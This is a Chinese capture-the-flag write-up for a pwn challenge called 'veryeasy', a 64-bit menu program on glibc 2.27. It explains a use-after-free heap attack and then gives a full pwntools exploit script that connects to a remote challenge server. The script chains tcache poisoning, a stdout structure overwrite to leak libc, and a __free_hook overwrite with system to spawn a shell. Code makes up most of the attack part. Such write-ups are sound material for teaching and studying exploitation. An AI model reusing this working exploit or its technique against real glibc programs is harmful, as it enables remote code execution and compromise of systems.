[Pwn] veryeasy
64位程序,传统菜单题,保护全开,libc2.27的环境。
在第3个函数那里存在UAF漏洞
在程序进行free操作时有这个判断,可以通过负数溢出来绕过。
因此,思路是这样:
1、在堆上布置一个0x70大小的chunk,和几个0x40的chunk,然后将这些chunk全部free掉,利用UAF改写0x40chunk的fd指针的最低位,使其指向0x70的chunk。
2、得到指向0x70chunk头的chunk,然后将0x70的chunk的size字段改为0xb1,再将这个被改的chunk释放掉,它就会被放到unsortedbin中,得到main_arena的地址。
3、再将该chunk的头的size字段改回0x71,然后部分写fd字段,使其指向stdout(这里需要爆破一下地址)。改变stdout结构体,泄露libc基址。
4、利用tcache的和UAF将freehook的内容改成system的地址,然后free掉一个内容是"/bin/sh"的chunk就能getshell。
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] # context.log_level = "debug" def fire(): #p = process("./pwn") p = remote("122.112.225.164", 10001) libc = ELF("./libc-2.27.so") def add(idx, size, content): p.sendlineafter("choice :", str(1)) p.sendlineafter("id:", str(idx)) p.sendlineafter("size:", str(size)) p.sendafter("content:\n", content) def add1(idx, size, content): p.sendlineafter("choice :", str(1)) p.sendlineafter("id:", str(idx)) p.sendlineafter("size:", str(size)) p.sendafter("content:", content) def edit(idx, content): p.sendlineafter("choice :", str(2)) p.sendlineafter("id:", str(idx)) p.sendafter("content:", content) def delete(idx): p.sendlineafter("choice :", str(3)) p.sendlineafter("id:", str(idx)) #gdb.attach(p) add(0, 0xa0, "a") add(1, 0x68, "a") add(2, 0x30, "a") add(3, 0x30, "a") delete(1) delete(3) delete(2) edit(2, '\x00') edit(2, '\x00') edit(2, '\x00') add(4, 0x30, "a") add(5, 0x30, p64(0) + p64(0xb1)) add(6, 0xa0, "a") for i in range(6, 13): delete(6) delete(1) edit(5, p64(0) + p64(0x71) + '\x60\xd7') add(13, 0x68, p64(0)) add(14, 0x68, p64(0xfbad1800) + p64(0)*3 + '\x00') p.recv(0x20) leak = u64(p.recv(8)) libc_base = leak - 0x3eb780 print "*************************" + hex(libc_base) if libc_base / 0x10000000000 != 0x7f: p.close() return False edit(5, p64(0) + p64(0xb1) + p64(libc_base + 0x3ebca0)) sleep(0.1) add1(16, 0x48, "a") sleep(0.1) delete(16) sleep(0.1) edit(16, p64(libc_base + libc.symbols['__free_hook'])) sleep(0.1) add1(17, 0x48, "/bin/sh") print "*************************" + hex(libc_base) add1(18, 0x48, p64(libc_base + libc.symbols['system'])) delete(17) p.interactive() print "*************************" + hex(libc_base) return True res = False while not res: res = fire()
打赏还是打残,这是个问题
没有帐号? 立即注册